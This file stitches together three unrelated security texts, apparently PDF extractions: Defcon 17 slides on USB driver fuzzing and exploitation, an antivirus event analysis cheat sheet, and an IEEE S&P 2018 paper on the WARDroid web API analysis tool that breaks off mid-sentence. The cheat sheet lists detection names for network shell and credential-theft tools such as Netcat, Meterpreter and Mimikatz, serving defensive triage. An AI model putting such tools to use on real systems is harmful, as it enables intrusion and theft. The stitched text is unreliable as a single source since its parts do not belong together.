USB Attacks: Fun with Plug and 0wn Defcon 17 Rafael Dominguez Vega 2nd August 2009 A little about me ... 2 rafael.dominguez­vega[at]mwrinfosecurity[dot]com http://labs.mwrinfosecurity.com Main Objectives • Attacks & Impact • Bug Discovery • Driver Exploitation 3 What this talk will cover • USB for fun and profit • Fuzzing Techniques • Crash Debugging • Exploitation • Hardware Implementation • A few demos here and there.... 4 Once upon a time ... 5 USB Attacks • AutoRun (Conficker...) • Mislaid or Planted Devices • Driver Bugs 6 USB Attacks (cont.) • AutoRun Disabled • Encrypted USB Pen Drives • USB Bus Disabled 7 How Pwnies at home became ‘Research’... • There was a ‘problem’ target (a client) • Hardware/Software Testing • New Feature – USB port implemented 8 USB Driver Testing • Black Box Testing • White Box Testing 9 And of course... Beer Based Testing! 10 USB Technical Background • USB Communication • Enumeration • Descriptors • Other ‘protocols’ 11 Enumeration • Device Identification • Automatic • Descriptors Sent 12 Descriptors • Device Descriptor • Configuration Descriptor • Interface Descriptor • Endpoint Descriptor • String Descriptor 13 Device Descriptor 14 const USB_DEVICE_DESCRIPTOR DeviceDescriptor = { sizeof(USB_DEVICE_DESCRIPTOR), /* bLength */ TYPE_DEVICE_DESCRIPTOR, /* bDescriptorType */ 0x0110, /* bcdUSB USB Version 1.1 */ 0, /* bDeviceClass */ 0, /* bDeviceSubclass */ 0, /* bDeviceProtocol */ 8, /* bMaxPacketSize 8 Bytes */ 0xBEEF, /* idVendor */ 0x1337, /* idProduct */ 0x0000, /* bcdDevice */ 1, /* iManufacturer String Index */ 0, /* iProduct String Index */ 0, /* iSerialNumber String Index */ 1 /* bNumberConfigurations */ }; Refer. Microchip Technology Inc. Low Pin Count USB Development Kit User’s Guide String Descriptor 15 //Manufacturer string descriptor ROM struct{BYTE bLength;BYTE bDscType;WORD string[12];} sd002={sizeof(sd002),USB_DESCRIPTOR_STRING, { 'M','A','N','U','F','A','C','T','U','R','E','R' }}; //Product string descriptor ROM struct{BYTE bLength;BYTE bDscType;WORD string[7];} sd003={sizeof(sd003),USB_DESCRIPTOR_STRING, { 'P','R','O','D','U','C','T' }}; Refer. Microchip Technology Inc. Low Pin Count USB Development Kit User’s Guide USB Driver Fuzzing • ‘Real’ hardware (Expensive) • Virtualised (QEMU) • USB over IP (WCPGW) • Hardware Fuzzer (It’s cool :­P) 16 QEMU Testing • Open Source • Machine Emulator & Virtualiser • USB Emulation 17 QEMU Testing (cont.) 18 QEMU Testing (cont. II) • Advantages • Quick Start Up • Low Resources • ‘Oops’ doesn’t trash hardware. • Disadvantages • Fuzzing Engine • Re­compile 19 USB over IP Fuzzing • USB/IP • Encapsulate USB packets • IP Headers 20 USB over IP Fuzzing (cont.) 21 USB over IP Fuzzing (cont. II) • Advantages • Fuzzing Engine • Disadvantages • Reliance on the software 22 Hardware Fuzzer • More Reliable • Much cooler! • Directly Fuzzing using Hardware • Man­in­the­middle • Longer Term Project 23 24 Linux USB Driver Bug 25 Linux USB Driver Bug (cont.) • vegasgirl.c • Buffer Overflow • tom_dick_and_harry function • Enumeration Phase • String Descriptor 26 Linux USB Driver Bug (cont. II) • Element of Device Structure • usb_string function • Overwrite other elements of structure 27 Kernel Crash Demo 28 Crash Analysis • GDB • Crash Utility • KGDB 29 KGDB (cont.) 30 Hardware Implementation • PIC18 Family Microcontroller • Malicious VegasGirl Device • Flash Microcontroller with Shellcode • Exploit Driver Bug 31 PIC18F14K50 32 Crash Analysis & Exploit ­ Demo 33 Recommendations • Disable not required USB drivers • Security Test USB Drivers • Assess USB Risks 34 References & Further Reading USB Official Site http://www.usb.org/ Linux USB http://www.linux­usb.org/ Microchip Technology Inc. http://www.microchip.com/ Microchip Technology Inc. • Low Pin Count USB Development Kit User’s Guide • PIC18F13K50/14K50 Data Sheet Beyond Logic http://www.beyondlogic.org/ USB Design by Example: A Practical Guide to Building I/O Devices (Intel University Press) by John Hyde 35 References & Further Reading (cont.) QEMU http://www.qemu.org/ USB/IP http://usbip.sourceforge.net/ White Paper: Red Hat Crash Utility http://people.redhat.com/anderson/crash_whitepaper/ KGDB: Linux Kernel Source Level Debugger http://kgdb.linsyssoft.com/ Evaluating Security Aspects of the Universal Serial Bus http://www.informatik.uni­hamburg.de/SVS/archiv/slides/09­01­13 ­OS­Jodeit­Evaluating_Security_Aspects_of_USB.pdf 36 37 http://labs.mwrinfosecurity.com I’ll get by with a little help from my friends... 38
pdf
Antivirus Event Analysis Cheat Sheet Version 1.8.1, Florian Roth @cyb3rops! ! Attribute Less Relevant Relevant Highly Relevant Virus Type HTML Iframe Keygen Joke Adware Clickjacking Crypto FakeAV Trojan Backdoor Agent Malware JS Creds PS PowerShell Exploit Ransom PassView Tool-Netcat Tool-Nmap RemAdm NetTool Crypto Scan HackTool HTool HKTL PWCrack SecurityTool Clearlogs PHP/BackDoor ASP/BackDoor JSP/BackDoor Backdoor.PHP Backdoor.ASP Backdoor.JSP Webshell DumpCreds MPreter Koadic Razy CobaltStr COBEACON Cometer Keylogger MeteTool Meterpreter Metasploit PowerSSH Mimikatz PowerSploit PSWTool PWDump Swrort Rozena Backdoor.Cobalt PShlSpy Packed.Generic.347 IISExchgSpawnCMD Location Temp Internet Files Removable Drive (E:, F:, …) C:\Temp $Recycle.bin C:\ProgramData C:\Users\Public AppData\Local\Temp AppData\Roaming\Temp C:\Windows\Temp %SystemRoot% (e.g. C:\Windows) C:\ \\Client\[A-Z]$ (remote session client drive) \\tsclient\<drive> C:\PerfLogs \\*$ (execution on remote host) Other directories that are writable for Administrators only User Context Standard User Administrative Account Service Account System File Server Email Server Ticket System Workstation Other Server Type Domain Controller Print Server DMZ Server Jump Server Admin Workstation Form / Type Common Archive (ZIP) Not Archived / Extracted, Uncommon Archive (RAR, 7z, encrypted Archive) File Extensions: .ASP .ASPX .BAT .CHM .HTA .JSP .JSPX .LNK .PHP .PS1 .SCF .TXT .VBS .WAR .WSF .WSH .XML .CS .JPG .JPEG .GIF .PNG .DAT Time Regular Work Hours Outside Regular Work Hours Google Search (File Name) Well-known Malware (e.g. mssecsvc.exe) or no result at all APT related file mentioned in report Virustotal (Requires Hash / Sample) Notes > "Probably harmless", "Microsoft software catalogue" File Size > Less than 16 byte (most likely an empty file, error page etc.) ssdeep > 3:: means file is filled with zeros (likely caused by AV) Comments > Negative user comments Additional Information > Tags > CVE-* Additional Information > File names: *.virus Additional Information > File names: hash value as file name Packers identified > Uncommon Packers like: PECompact, VMProtect, Telock, Petite, WinUnpack, ASProtect Suspicious combinations > e.g. UPX, RARSFX, 7ZSFX and Microsoft Copyright File Detail > Revoked certificate Packers identified > Rare Packers like: Themida, Enigma, ApLib, Tasm, ExeCryptor, MPRESS, ConfuserEx Comments> THOR APT Scanner: “Hacktools”, “Threat Groups”, “Webshell”, “Cobalt Strike”, “Empire”, “Mimikatz”, “Veil”, “Privilege Escalation”, “Password Dumper”, “Koadic”, “Elevation”, “Winnti”
pdf
Mobile Application Web API Reconnaissance: Web-to-Mobile Inconsistencies & Vulnerabilities Abner Mendoza, Guofei Gu Texas A&M University abmendoza@tamu.edu, guofei@cse.tamu.edu Abstract—Modern mobile apps use cloud-hosted HTTP-based API services and heavily rely on the Internet infrastructure for data communication and storage. To improve performance and leverage the power of the mobile device, input validation and other business logic required for interfacing with web API services are typically implemented on the mobile client. However, when a web service implementation fails to thoroughly replicate input validation, it gives rise to inconsistencies that could lead to attacks that can compromise user security and privacy. Developing automatic methods of auditing web APIs for security remains challenging. In this paper, we present a novel approach for automatically analyzing mobile app-to-web API communication to detect in- consistencies in input validation logic between apps and their respective web API services. We present our system, WARDroid, which implements a static analysis-based web API reconnaissance approach to uncover inconsistencies on real world API services that can lead to attacks with severe consequences for potentially millions of users throughout the world. Our system utilizes program analysis techniques to automatically extract HTTP communication templates from Android apps that encode the input validation constraints imposed by the apps on outgoing web requests to web API services. WARDroid is also enhanced with blackbox testing of server validation logic to identify inconsistencies that can lead to attacks. We evaluated our system on a set of 10,000 popular free apps from the Google Play Store. We detected problematic logic in APIs used in over 4,000 apps, including 1,743 apps that use unencrypted HTTP communication. We further tested 1,000 apps to validate web API hijacking vulnerabilities that can lead to potential compromise of user privacy and security and found that millions of users are potentially affected from our sample set of tested apps. I. INTRODUCTION The proliferation of mobile devices has resulted in an extensive array of mobile applications (apps) that serve diverse needs of our connected society. Today’s modern lifestyle increasingly depends on mobile apps that serve a wide spec- trum of functionality including military applications, critical business services, banking, entertainment, and other diverse functionality. Mobile apps are often built as front-ends to ser- vices hosted in the cloud infrastructure and accessible through web API services. The web platform, through the use of HTTP and HTTPS [1], serves as the main conduit for communication between mobile applications and their respective web API services. Previous research work in the mobile space has mostly focused on security and privacy of the mobile device and data stored locally on the device. However, remote HTTP- based services form an integral part of the mobile application ecosystem and deserve similar scrutiny with regard to security and privacy concerns. This fact is evidenced by the placement of Weak Server Controls as the top vulnerability in the OWASP top 10 mobile vulnerabilities [2]. The ease at which mobile apps can be built using modern tools means that even inexperienced developers can deploy mobile applications that integrate with new or existing cloud services. Additionally, a number of well established cloud infrastructure service providers such as Amazon AWS and Microsoft Azure provide pre-packaged mobile cloud solutions that mobile application developers can integrate into their apps with just a few lines of code. This approach promises to abstract the backend logic and maintenance, freeing the developers to focus on their mobile app functionality and user experience. These services often include ready-made solutions for common tasks such as data storage, user authentication, e-commerce, social-media integration, and push notifications. Cloud services are provided via specialized software devel- opment kits (SDK) and application programming interfaces (APIs) for easy integration. However, this fast paced devel- opment is often done without full consideration of security implications. Often, there is no robust security design or guidance of the application integration with the pre-packaged components, exposing many mobile applications to exploita- tion. Similarly, homegrown (proprietary) web API services are often deployed at a fast pace, without much consideration of the security impact of the design decisions and how developers will integrate the API service into their apps. In every instance, the decoupled mobile web service API architecture mandates that input validation logic is done equally at both the client and server side. This creates a heightened dependency on robust consistency between two disparate platforms: web and mobile. In this work, we are motivated by the insight that the logic implemented in the mobile client can be used to inform audits of server-side APIs. We observe that it is non-trivial to ensure full and robust consistency between app-based and server-based validation routines, resulting in inevitable mismatches between client and server implementations of input validation logic. We introduce the concept of Web API Hijacking to generalize these types of threats, and develop an approach to uncover instances of Web API Hijacking. Web API hijacking describes a class of server- side attacks that seek to exploit logic inconsistencies and gain unauthorized access to protected or private server capabili- ties and resources where robust validation controls are not 756 2018 IEEE Symposium on Security and Privacy © 2018, Abner Mendoza. Under license to IEEE. DOI 10.1109/SP.2018.00039 consistently implemented. These attacks leverage parameter tampering vulnerabilities on the web platform [3], discoverable through careful analysis of mobile application code logic. While there have been extensive works in the past to address web server problems such as SQL injection, cross site scripting, and other traditional web security problems [4], [5], today’s mobile-first web services are often implemented with scalability as a top priority [6]. As we show in this work, mobile app architectures often defer validation and security to the client-side. Weak server-side input validation is by no means a new problem, but it has received little to no attention, especially from the aspect of integration with mobile applications. Inspired by previous work in web parameter tampering vulnerabilities [3], [7], and advances in mobile application pro- gram analysis techniques, we devise a novel approach, called WARDroid, to analyze mobile application web API interaction, and uncover attack opportunities that can lead to compro- mise of user security and privacy. WARDroid is a framework that implements semi-automatic Web API Reconnaissance to analyze validation routines that make up requests to web API services from an app. WARDroid can then uncover in- consistencies between app-based and server-based validation logic that can lead to Web API Hijacking attacks. WARDroid implements a network-aware static analysis framework that systematically extracts the web API communication profile and logic constraints for a given app. It then infers sample input values that violate the implemented constraints found in the app. WARDroid then analyzes app-violating request logic on the server side via blackbox testing, and is able to uncover instances where web API services do not properly implement input validation. We highlight several interesting case studies that show the potential real world impact of these weaknesses on the mobile ecosystem, affecting even high profile mobile apps used by millions of users. We enable comprehensive analysis of each individual appli- cation with regard to its app-to-web communication template to uncover Web API Hijacking opportunities. Our system primarily focuses on extracting the application layer con- straints and interactions that occur over HTTP(S). Our System advances state of the art research toward providing a compre- hensive characterization of HTTP-based API communication, especially including the constraints that relate to UI-level input fields that flow to remote web APIs. We formulate our problem in terms of the logic constraints that are imposed by application code, and use it as a model to characterize expected server-side logic. In short, the contributions of this paper are as follows: • We develop the first systematic approach for detecting mobile-to-web validation logic inconsistencies that can lead to attacks. We call this class of attacks Web API Hijacking. • We provide a novel mobile application Web API com- munication analysis framework, called WARDroid, that can extract details of mobile application cloud service interactions. Our approach implements a novel network- aware app-to-web static analysis framework that can assist in uncovering Web API Hijacking vulnerabilities. • We identify Web API misuse patterns and provide case studies of analysis and discovered vulnerabilities in real world applications. We show concrete exploit opportuni- ties that are uncovered from real world apps that could lead to severe consequences for app developers, users, and app service providers. II. PROBLEM STATEMENT While mobile apps may have robust input validation and access control logic implemented in their native code, those are often not equally replicated on the server side for data sent to a web API. As a result, an attacker can bypass client- side controls and exploit a web API service to extricate data or inject malicious data without proper authorization. This is noted in the recent paper by Sudhodanan et. al. [8]. In this paper we aim to systematically study and (semi- )automatically detect the inconsistencies between data valida- tion logic in a mobile app and data validation logic imple- mented at a remote web API server. While this is inspired by previous work on web parameter tampering [3], [7], we address challenges in uncovering web API data validation logic in mobile apps, where client-to-server communication is not as inherent as on the web platform. We also highlight the real world security impact of inconsistent app-to-web validation on the mobile ecosystem caused by loose coupling between mobile and web validation logic. Transactions between mobile apps and web API services require careful coordination of data validation logic to ensure that security controls are consistently implemented. For ex- ample, if a mobile app restricts the data type of a user input field, we expect that the server should also implement a similar restriction to ensure consistency. Unfortunately, it is difficult or impossible to ensure complete consistency between controls built into the mobile app and controls actually enforced at the server side. In many cases, the server should enforce more constraints than the client (such as enforcing uniqueness of usernames, for example). In this paper, we assume that the server is at least as strict as the client. Remote web API service implementations are often shared among different user agents (mobile and browser), giving rise to further inconsistencies in the implementations of the application logic between different apps that use the same backend web API. For the sake of scalability, web APIs may even skip input validation and defer that job to the apps. It is also not always feasible for remote web API services to authenticate all clients, giving rise to var- ious replay attacks where attackers can impersonate legitimate clients or access functionality intended for legitimate clients without authentication or authorization [8]. The scalability requirements of remote web API services often mandate that the implementations are generic so that multiple client platforms can be supported. However, this can lead to serious security threats when the web API is security-critical, or privacy-sensitive, but defers validation to the client side. We address this problem in the context of the 757 mobile ecosystem. While we use the Android framework for our research evaluation and testing, it is important to note that Web API Hijacking is not intrinsic to any flaw in the Android framework itself. Rather, this problem applies to any mobile app that follows the model of using web API server endpoints, such as those that use the SaaS app model. This is a vulnerability that exists primarily on the web platform through parameter tampering, but has transitioned into the mobile ecosystem, enabled by the subtle mismatch and inconsistency of data validation logic between the native mobile platform and the web platform. A. Motivation Why are we using the mobile platform to uncover potential web server vulnerabilities? Mobile web API services are not tightly coupled with the app front-end, but we posit that mobile apps implement validation logic that serves as a model of expected server-side validation logic implemented by the web API. This is especially true for web API services that are tailored for mobile app consumption and do not have an accompanying traditional web application interface. However, due to the reliance on HTTP(S), any client capable of HTTP(S) communication can therefore communicate with the web API service. If the web API service does not properly validate request data, and instead defers the responsibility to the mobile app, an attacker can hijack the API functionality meant exclusively for the mobile app. Apps with web API hijacking vulnerabilities are usually not malicious and usually implement fairly robust data validation. However, the inconsistency lies in how the web API server replicates that validation. Attackers in our threat model do not attack the apps themselves but can use the app to under- stand the web API communication profile and leverage that knowledge to coerce the server to conduct malicious activities, expose sensitive user data, or gain unauthorized access to privileged functionality. To determine if a given web API endpoint is vulnerable, our analysis finds feasible data flows in the app that generate HTTP(S) requests to the web API server and process some response from the server. By extracting the path constraints on those data flows, we can infer the data validation model of the app for a particular web API endpoint. By generating similar requests outside the app that would violate the app validation logic, we can uncover inconsistencies between the app and server logic. These web API endpoints are referred to as ‘hijack-enabled’. By exploiting the inconsistencies in these hijack-enabled endpoints, an attacker can compromise the security and privacy of user data or API functionality. We consider that a mobile app’s input validation logic with respect to its interaction with a web API primarily consists of three steps: 1) Sanitize and Validate input, and generate HTTP(S) Requests to the Web API Server. 2) Reject Invalid Input. 3) Process Web API Server Responses. B. Formalization More formally, a mobile app Ma generates a request Ra using input strings S and sends it to the remote web API server for processing. Before sending the request, the application must enforce certain constraints Ca on the strings in S, and abort the request if the constraints are not satisfied. Formally, the constraint checking code can be expressed as a function Ca(S) → {true|false}, where true means that the inputs satisfy the constraints, and false means that the inputs do not satisfy the constraints. We denote the constraint checking function at client app as Ca, and the corresponding function at the server as Cs. Therefore, we assert that if Cs(S) = true, then Ca(S) = true. That is, if the server constraints on an input evaluate to true, then the client constraints on the preceding web request input should also evaluate to true. We observe the following rules about constraint checking between the app and the server: • An input accepted at the server does not violate the constraints at the client. Cs(S) = true ⇒ Ca(S) = true • An input that is rejected at the client, should be rejected at the server. Ca(S) = false ⇒ Cs(S) = false These rules ensure consistency between validation at the mobile app and at the web API server. We note that an input that is valid in the app may be invalid at the web API server because Cs may be more restrictive than Ca in certain situations. For example, when registering a user account, the server can additionally validate the username for uniqueness. Also, if Cs(S) = false (the server rejects the input), then it does not matter if the client accepts it or not. We are targeting instances where Cs(S) = true AND Ca(S) = false. A violation of these consistency rules could cause the API to be hijack-enabled and exposed to the possibility of being attacked. Specifically, a potential vulnerability exists if the web API server accepts an input that would be rejected by the client side constraints. Such problems can lead to compromise of user data security and privacy, denial of service for all apps that rely on the web API, and other serious consequences to the mobile ecosystem that can lead to monetary losses. Therefore, our problem is reduced to evaluating the con- sistency of the constraint checking functions between the app and the web API server. In this work, we treat the app as a whitebox, and the web API server as a blackbox. Since Cs is at least as restrictive as Ca, we can model Cs by precise analysis of the app. Using a derived constraint formula, we can uncover inconsistencies between both platforms by evaluating the responses Rs generated from requests Ra sent to the web API by our test framework. By identifying and further evaluating web API endpoints that show inconsistencies, we are able to uncover web API hijacking opportunities. C. Threat model We assume a network attacker as described in [9]. Our attacker has access to the mobile application and can reverse engineer the source code. Additionally, the attacker can ob- serve and manipulate his own network traffic if necessary. 758 We assume the attacker has a means of sniffing data from legitimate mobile user devices, but he also operates his own mobile device and can observe, modify, and decrypt his own HTTPS traffic. Our attacker is also a legitimate mobile application user. This attacker has full access to the Android client layer through which he can interact with the remote web API server as a legitimate user would. Attacker Capabilities: An attacker seeks to gain unautho- rized access to sensitive resources by leveraging one of the following methods on publicly exposed web API endpoint functionality: 1) GET sensitive data using an API endpoint. 2) POST1 to data stores using the API endpoint. Web API hijacking gives the attackers unauthorized access to perform privileged actions on the API server side, and the ability to influence reflected data to various apps and other clients that may access the web API. This is a highly attractive target for an attacker because it is a single point of attack that can affect multiple users. For example, an attacker can leverage capability 2 to write data to a data store that in subsequently read by a website that may display the data to users. If the attacker is able to embed malicious code into the data store, that code would be reflected to the user if the consuming website does not properly sanitize the data. III. BACKGROUND Android apps are packaged as APK files, which contain all the resources necessary to execute the application on the Android Framework. WARDroid starts by extracting the resources from a given APK file and preprocessing those resources for further analysis. The DEX class files are further converted to an intermediate representation called Jimple [10] that lends itself to static analysis using Soot [11]. Additionally, WARDroid inspects the XML resource files that represent the user interface and user input elements for different Activities of the app. In Android, Activities represent the user interface components of an app. We focus on the Android platform due to its open source nature, and we restrict our analysis to apps that use the HTTP protocol for communication with a web API server. One of the main functions of WARDroid is therefore to model the HTTP(S) communication of the app with respect to different web API services that may be used by the app. An HTTP transaction consists of a Request and a Response pair. A Request is modeled in the output templates as a tu- ple containing <Method, Scheme, Domain, Path, Parameters, Headers, Body>. Similarly, we model a Response as <Status, Headers, Body>. Apps may directly open an HTTP stream through the APIs provided by the framework, or they may use an intermediate SDK which abstracts the framework API utilization. 1We consider other less common HTTP verbs such as UPDATE and PUT as having similar core functionality Listing 1. Basic HTTP Request Generation Code 1 p r o t e c t e d S t r i n g doInBackground ( s t r i n g s ) { 2 URL u r l ; 3 HttpURLConnection urlConnection = n u l l ; 4 / / c r e a t e r e q u e s t 5 u r l = new URL( s t r i n g s [ 0 ] ) ; 6 urlConnection = ( HttpURLConnection ) u r l . openConnection ( ) ; 7 i n t responseCode = urlConnection . getResponseCode ( ) ; 8 i f ( responseCode == HttpURLConnection .HTTP OK) { 9 / / response handling code 10 } 11 r e t u r n n u l l ; 12 } The code listing shows a typical HTTP request method in Android apps. This is encapsulated within a class that may extend AsyncTask and is called using syntax such as ‘new GetMethodDemo().execute(serviceURL);’. WARDroid identifies the HTTP interface at line 6 as a point of interest (POI) and proceeds with backward program slicing to identify all parameters and UI elements to which the connection has a dependency. Intuitively, this exercise encapsulates the full dependency graph that makes up the web request. The observation is that forward taint propagation from line 6 tracks objects that originate from a web API in a response and backward tainting tracks objects that are used to generate a request to a web API. We refer to such HTTP access functions as Points of Interest because they separate the forward and backward program slices. Forward taint propagation reveals the data dependency for objects related to response message processing, and backward tainting identifies objects that make up the URI, request method, and body of a web API request. As a result, the problem is now reduced to searching and identifying POIs from Android and Java APIs, which is much more feasible than performing a full analysis of the entire app call graph and tracking all network-related objects. Thereafter, the path constraints within the slices are an- alyzed to extract the web API request templates for which test HTTP requests can be generated and further evaluated. In particular, WARDroid identifies the constraints associated with the web API request path Parameters, Headers, and Body, and can generate test inputs for both valid and invalid API requests. IV. APPROACH AND CHALLENGES First, we extract the web API communication templates from mobile apps that encode the input constraints enforced by the app for web API communication. We implemented a network-aware taint analysis approach to extract program slices that represent the web API request generation func- tionality of the app. We employed existing program analysis tools and techniques to fit our problem and address known inherent challenges. Second, using the extracted constraint templates, we implement a blackbox testing component that 759 HTTP Templates Static Analysis Program Slicing APK Path Constraints Constants Header Body Header Body Header Body Inconsistency Evaluation UI Analysis Reports Request Generation Response Testing Reports Reports Fig. 1. Overview Architecture of the WARDroid Framework assesses the consistency between the app validation logic and the web API server validation logic. Using the constraint relationship rules between the app and the web API server, we can generate requests that we expect to be rejected by the server. The intuition is that the app validation logic should be consistent with the web API server validation logic. Any inconsistencies uncovered are opportunities that attackers may be able exploit and can lead to a violation of the application security properties. WARDroid generates both valid an invalid requests that can be replayed to the server to evaluate our hypothesis using a simple cross-validation approach to reduce false positives. A. General Challenges The challenges of the whitebox analysis approach lie in the non-trivial nature of static analysis and its inherent limitations. Fortunately, these have been solved by existing work [12], [10], [13], [14], [15]. We utilize these existing work in WARDroid. Still, we address additional challenges in analyzing app-to-web communication. Modeling Server Logic. Without access to the back-end server code, we must devise a methodology that effectively utilizes the mobile application and the observed HTTP com- munication logic to the backend API service to model the expected server logic and constraints. This is exactly what an adversary would also have access to, which lends some practicality and feasibility to our analysis approach. Incomplete Access. While the mobile application binaries are readily available through the open marketplace model of Android, we do not have access to the server side API implementation for a precise comparison. Therefore, we must rely solely on the mobile app and formulate an estimated model of the server logic. Our system must therefore ensure high code coverage and accurately infer the web API request message constraint formula. To overcome this challenge, we employ robust static analysis tools that ensure high coverage and accuracy. Low Coverage. To increase accuracy and coverage, and further optimize our analysis, we implement symbolic ex- ecution to model the input validation logic through path constraints [16]. This allows us to efficiently reason about the constraints of web API requests. Symbolic execution utilizes the control flow graph, storing an accumulating path condition as the data dependence moves along the execution path. The path condition at the point of interest represents the constraint formula that we later utilize to reason about valid and invalid inputs to compare validation consistency. For our purposes, the point of interests are the HTTP(s) buffers in the mobile application used to communicate with remote web APIs. However, symbolic execution can be slow, and analyzing an entire app can lead to unnecessary code paths being explored. Since not all the app execution paths are related to web API requests, we must filter only the paths that are of interest to reduce the analysis space, while still maintaining precision and accuracy. Search Space. To reduce the search space and optimize the analysis, we filter the paths to analyze only those that utilize an HTTP library or system API. We focus on identified points of interest (POIs) that generate or process web API HTTP(S) messages. Fortunately, there is a small set of HTTP(S) libraries and HTTP network buffer APIs that we can use as our starting point for extracting HTTP communication templates. Validating Inconsistencies. An important goal of WARDroid is to validate inconsistencies in a semi-automated fashion. This requires generation and replay of web API requests and analysis of the corresponding responses. Some human intervention is necessary in formulating proper requests. It is also non-trivial to analyze server responses based on simple heuristics to make a determination of success or failure of the request. A simple approach could be to evaluate HTTP status codes, but that would lead to many false negatives. WARDroid overcomes this challenge by implementing a response analysis approach that compares several response traces of known valid requests with suspected invalid requests. This approach is inspired by a similar method used in [3]. V. SYSTEM ARCHITECTURE The general system architecture is depicted in Figure 1. The primary goal of WARDroid is a novel application of static taint analysis and symbolic execution to uncover web API input validation constraints and reason about web API hijacking opportunities by evaluating inconsistencies. To achieve this goal, we extend Flowdroid [15] to comprehensively analyze 760 web-related code paths and constraints in apps that lead to network APIs that generate HTTP(S) messages. We therefore model the web API’s server-side validation logic using the mobile application validation logic. We can then detect in- consistencies by deriving invalid API requests that fail in our mobile application model but does not fail when testing on the actual server. We characterize the application validation logic as a symbolic path constraint on a static abstraction of the web request functionality which is a subset of the program dependence graph (PDG) of the app. We represent the constraints in the format of Z3 [13] and utilize the Z3-Str library [17] to generate both valid and invalid concrete API requests for testing through message replay. WARDroid takes the application APK package as input and produces possible web API hijacking opportunities as output. First, we model the mobile app’s web API communication into HTTP message templates. To accomplish this, we utilize program analysis techniques that analyze the app to extract the program slices that generate HTTP requests from each POI. The main task is to track all dependencies that eventually flow to network buffers through particular Android framework APIs. This allows us to extract the relevant path constraints and reason about the web API requests generated by the app. To this end, our system extracts and analyzes the program slices that generate and process HTTP messages using data dependency analysis. We augment the resulting program de- pendence graph slices with information from the user interface (UI) resources in the app that define additional constraints imposed by UI elements on user input data that eventually make up part of the web API request. Interesting code paths are those that include a conditional flow that determines the final API request endpoint. These conditions encode constraints that are our main targets for evaluation of inconsistencies. We theorize that this constraint logic is representative of the web API logic intended on the server, but not always implemented with due diligence. First we must understand the normal intended flow, and the semantics of the checks that control the flow to different web API end points. Armed with this information, we can then reason about request messages that would violate the extracted constraints and test if they are accepted by the server. In some cases when the server is not available for testing, or would cause harm, we can still infer success by evaluating the response processing constraint logic of the app that corresponds to the code path under consideration. This correlates to the constraints extracted from the forward static analysis starting at each POI. A. Static Analysis WARDroid implements program slicing to reduce the search scope and focus on web API related code paths. The first step is to extract a program slice using backward slicing starting at the web API call points, which are our POIs (Points of Interest). The key idea is to generate a concise representation of the subset of the program that communicates over the network. The slice is an approximation of the code necessary to enable the app-to-web API communication. 1) Program Slicing: Extracting program slices of inter- est requires identification and tracking of dependencies to network-bound APIs [18]. We focus on two sets of net- work message sending APIs as our starting points of inter- est (POIs). First, we identify the Android framework APIs provided for HTTP communication (e.g., HttpClient.execute). We utilize the semantic models of these APIs devised from [18]. We currently support java.net.HttpURLConnection, org.apache.http, android.net.http, android.volley, javax.net.ssl, and java.net.URL. Second, we also identify low level Socket APIs. When these APIs get called, they will directly perform connections to remote servers, which will then generate the response from the servers. With these method invocations as target points of interest, we can use taint analysis to identify the dependencies and call paths that invokes them. For tracking web API-related data flows, we modify Flow- Droid [15], which is a system built on Soot [11] and pro- vides flow-sensitive, context-sensitive, and inter-procedural data flow analysis for Android apps. We also utilize the output from SuSi [14], which provides a comprehensive list of categorized sensitive APIs. We use the NETWORK and BROWSERONFORMATION entries as the input to Flow- Droid. This allows us to identify all the API calls that can communicate using the network sensor or the browser. However, different from the traditional use of Flowdroid to track source to sink tainted paths, we utilize its taint analysis functionality to track taints in reverse from the sinks (POIs) until they converge to a UI element, an event handler, or initial definition. This gives us the ability to extract a web API-related program slice that represents the app’s web API communication functionality. Modifying tainting rules. For high accuracy and coverage, the program slices must contain all operations related to the web API communication from the POI. WARDroid utilizes an open-ended taint propagation approach for this purpose. Flowdroid’s default tainting rules implicitly handle forward taint propagation. However, for backward taint propagation we reverse the edge direction rules of the control flow graph to propagate the dependencies in reverse order starting from the point of interest. This is motivated by the approach taken by Extractocol [18], which applies inverted taint propagation rules in Flowdroid to swap the premise and conclusion of the rules. Our previous work in [19] similarly use inverted tainting rules for backward taint propagation. More specifically, for assignment statements a tainted left- hand side taints the right-hand side, and for function calls the taint information of a callee’s arguments is propagated to the caller’s arguments. We track the tainted objects until there are no more objects to propagate, either at the object’s definition or destruction. A typical app also contains functionality that generates web requests to entities other than a web API endpoints of interest. For example, most ad libraries or analytics libraries have func- 761 tionality to communicate with backend servers, often through a web API. These are outside the scope of our investigation, and we therefore exclude popular ad and analytics libraries such as Google AdMob. The goal of the program slicing module is to generate program slices that directly relate to HTTP requests and response processing. We use static taint analysis to track information flow to web API endpoints. However, unlike traditional static taint analysis whose primary goal is to determine the existence of data flow from taint sources to sinks, in this case we utilize it to track flows through network-bound objects for reconstructing web API message templates. Missing a single statement that has a relationship with the web API message would result in false negatives. Therefore, it is critical that we capture a robust representation of the dependencies that lead to the point of interest invocations. To this end, Flowdroid fits well into our approach since it effectively solves many of the shortcomings of static analysis. Having extracted the network-aware program slices, we can build the program dependence graph and add additional augmentation, including constraints from UI elements. 2) Path Constraints: The constraint extraction module takes the filtered program slices as input. We leverage many of the existing functionality of Flowdroid, including call- graph construction, points-to analysis, def-use chains, and taint analysis. The goal of the path constraints module is to reconstruct the app’s program dependence graph. Since the dependence graph constructed directly from Flowdroid cannot identify the edges that implicitly call the Android framework APIs, or does not consider UI elements, we must make additional augmentations to generate a complete set of path constraints for any given POI. We augment the built-in PDG output with additional information from the UI as well as implicit call information added by the Edgeminer results [20]. We refer to this as an Augmented Program Dependence Graph (APDG). Our approach ensures that both implicit and explicit call edges are added to our APDG, improving our accuracy and reducing false negatives. To build the APDG, we analyze the Jimple IR slices from the Program Slicing module and start from each event handler (onCreate, onClick, onTextChanged, etc.), recursively adding the callee edges, including the implicit edges known from EdgeMiner. The results is a set of APDG’s, each starting from the event handler functions. Furthermore, we analyze the UI resource files to identify the Activities and UI elements and connect them to their respective handlers. We augment our call graph with UI information so that we can utilize and capture constraints defined in the XML resource files, such as max data input length or data types. Asynchronous Events: Asynchronous event handling is very common in Android programming. For example, an app may construct a portion of the web API request query string into an object and later, a click event would actually read the saved object to generate the HTTP request. This is not easily handled in static analysis, because the ordering of the events may be lost. For example, FlowDroid assumes an arbitrary ordering of these events, which can lead to a false negative or incomplete results. It results in a failure to identify the full dependen- cies across all events, resulting in an incomplete dependency graph. Our backward analysis approach in WARDroid naturally solves this problem because it sequentially backtracks from the network API point of interest and naturally reconstructs the order of events as it moves backwards. It also captures implicit events with minimal effort. Dynamic analysis could not 